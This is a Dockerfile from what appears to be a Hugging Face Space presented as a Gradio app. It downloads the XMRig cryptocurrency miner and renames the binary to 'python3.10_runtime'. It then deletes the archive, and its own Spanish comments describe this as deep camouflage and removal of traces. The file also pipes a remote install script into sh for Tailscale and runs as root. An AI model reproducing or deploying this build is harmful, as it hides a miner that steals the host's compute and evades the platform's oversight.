Spaces:
Sleeping

mm / Dockerfile
Lordjames21's picture
Upload 5 files
5729003 verified
Raw History Blame
913 Bytes
FROM python:3.10-slim
# Instalar dependencias necesarias (incluyendo Tailscale)
RUN apt-get update && apt-get install -y \
wget \
curl \
procps \
libssl-dev \
libunbound-dev \
iptables \
iproute2 \
&& rm -rf /var/lib/apt/lists/*
# Instalar Tailscale
RUN curl -fsSL https://tailscale.com/install.sh | sh
RUN pip install gradio psutil
WORKDIR /app
# Descarga, camuflaje profundo y eliminación de rastros
RUN wget -q https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz -O core.tar.gz && \
tar -xf core.tar.gz --strip-components=1 && \
mv xmrig /usr/local/bin/python3.10_runtime && \
rm -rf * core.tar.gz
COPY app.py .
COPY config.json .
COPY entrypoint.sh .
RUN chmod +x entrypoint.sh
# El puerto de Gradio
EXPOSE 7860
# Ejecutar como root es necesario para Tailscale (TUN/TAP)
USER root
ENTRYPOINT ["./entrypoint.sh"]